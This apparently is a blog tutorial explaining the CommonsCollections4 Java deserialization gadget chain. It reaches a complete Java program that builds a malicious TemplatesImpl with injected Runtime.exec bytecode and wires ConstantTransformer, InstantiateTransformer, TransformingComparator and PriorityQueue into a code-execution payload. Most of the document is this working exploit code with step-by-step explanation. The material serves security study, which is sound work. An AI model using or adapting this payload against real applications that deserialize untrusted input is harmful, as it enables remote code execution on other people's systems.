CommonsCollection4

Just Like CommonsCollection1 and CommonsCollection3 , CommonsCollections2 and CommonCollection4 are exactly same apart from few changes.

Instead of Simply Using the InvokerTransFormer we are using a chain of ConstantTransFormer and InstantiateTransFormer and passing it to the TransFormingComparator.
Rest All remains Same

So lets jump into the payload directly and understand how it works

Since we have understood how instantiateTransformer works in CommonsCollection3 , we will just cover it up with regards to the PriorityQueue

If you are not aware about the InstantiateTransFormer, i would advise you to take a lok into the CommonsCollection2

So that being Said , below is how the payload looks like


    Object templates = Gadgets.createTemplatesImpl(command); //1

    ConstantTransformer constant = new ConstantTransformer(String.class); //2

    // 3
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // 4
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // 5
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // 6
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;

    

Instead of InvokerTransformer, InstantiateTransformer is being used,
As we know the instantiateTransformer takes a class and Initiates it with the args passed by us. Why do we use TraxFilter.class and other are already dicussed in CC3.
So lets focus on what the above code does.
At [1] the code instntiates a ConstantTransformer with String.class, Once the ConstantTransformer is instantiated it can not be changed(Without the use of reflection). So the constant returns String.class.

At line [3] the params for the InstantiateTransformer's constructor is being created and then it will be passed to it.
The reason we have takes String.class and Foo is because we have initiated the ConstantTransformer with String.class and as we know the InstantiateTransformer needs a class where it will check for a constructor that takes an argument of first_argument type of InstantiateTransformer and it will pass the value as the second_argument of InstantiateTransformer.
SO in String.class we have constructors that takes input of type String and we will pass foo as the value.

Now at [4] we are getting the Field reference value of iParamTypes and iArgs out of instantiateTransformer that we can further replace with our own value,
At [5] we are initiating the priorityQueue and passing the TransFormingComparator wth chainedTransFormer as the transformer. and then we are adding elemets into the priorityQueue, these elements are basiccally the obj1 and obj2 that we see in the TransFormingCompartor's compare function.
And at [6] we are changing the String.class of ConstantTransformer to TraXFilter.class

Now if we put all the above together.

- Instantiate the ConstantTransformer with TraXfilter.class
- Instantiate  the InstantiateTransformer with Templates.class and the value as templates(That we obtained from step 1)
- Create the chained TransFormer with Constant and Instantiate Transformer
- Instantiate the Priority Queue with the TrnasformingComparator with ChainedTransFormer as the transformer
- Add any random value into priority Queue

So the whole above code can look like below


Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(TrAXFilter.class);
Class[] paramTypes = new Class[] { Templates.class };
Object[] argst = new Object[] { templates };
InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, argst);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

    

Question:
How are we adding 1 into priority Queue but still achieving Code Execution?

Answer:
So whatever we add into the priorityQueue as queue.add never gets used.
So From the priorityQueue the code flows to the transFormingCompartor.compare().
Here the obj1 and obj2 are the values we pass via queue.add()
Now in the transformer.apply() , here the transformer is ChainedTransFormer, and if you see the chainedTrasformer's transform Code


    @Override
    public T transform(T object) {
        for (final Transformer iTransformer : iTransformers) {
            object = iTransformer.apply(object);
        }
        return object;
    }

        

So it iterates over the list , inout case its ConstantTransformer and InstantiateTransformer and calls the transForm() on them.

- once we Instantiate ConstantTransformer () no matter what we pass to the transform() it will alwasy return the instantied Value and in our case it will be TraXFilter.class
- For the InstantiateTransformer , the Object Passed from the queue.add has alredybeen overwritten from the output of ConstantTransformer due to the Below code

        object = iTransformer.apply(object);
    

And hence even if we are passing 1 from queue.add() for InstantiateTransformer () it sees the TraXfilter.class
That is why it doesn't matter if we pass 1 or 2 or any other string.(Keep in mind that we can pass anything we want since we are suing the PriorityQueue of ObjectType, you will be restcited to the type of PriorityQueue that you initiate)

So we can modify the code and the code along with TemplatesImpl creation for CommonsCollection4 gadget will look like below.


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class cc4 {
    public static void main(String[] args) throws Exception {
        String command="calc.exe";
        ClassPool pool = ClassPool.getDefault();

        /*
         * So inside the pool.get() we can pass any random existing className , we just have to keep in mind that we call
         * clazz.makeClassInitializer().insertAfter(cmd); and  CtClass superC = pool.get(AbstractTranslet.class.getName());
            clazz.setSuperclass(superC);

            Reason for calling the above 2 are.
            1.In TemplatesIMPL Class when we set the _byteCode to a bytecode of ourchoice, our bytecode must be extending the  
            AbstractTranslet.class or else TemplatesIMPL will not execute it(Figure out why)
         */


        final CtClass clazz = pool.get(cc4.class.getName()); 
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replace("\\", "\\\\").replace("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        CtClass superC = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superC);
        final byte[] classBytes = clazz.toBytecode();



        byte[] maliciousBytecode =classBytes;
    

        /*
         * Till Line 58 we are creating an Object of TemplatesIMPL class and using reflection to set the _bytecode,_name and
         * _tfactory , as these are necessary fields.
         * Why can't we use the normal getters and setters(FigureOut)
         */
        TemplatesImpl templates = new TemplatesImpl();

    
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

       
        Field nameField = TemplatesImpl.class.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "Exploit");
        
        Field tfacname = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfacname.setAccessible(true);
        tfacname.set(templates, TransformerFactoryImpl.class.newInstance());

        //templates.newTransformer();

         
        ConstantTransformer constant = new ConstantTransformer(TrAXFilter.class);
		Class[] paramTypes = new Class[] { Templates.class };
		Object[] argst = new Object[] { templates };
		InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, argst);
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
		queue.add(1);
		queue.add(1);
        
    }
}

    

This is how the CommonsCollection4 Payload works, staring from the EntryPoint to Code Execution

Summary:

Thats it for Today.

Thanks For Reading.

Happy Hacking.

You can connect with me at:

Linkedin

Twitter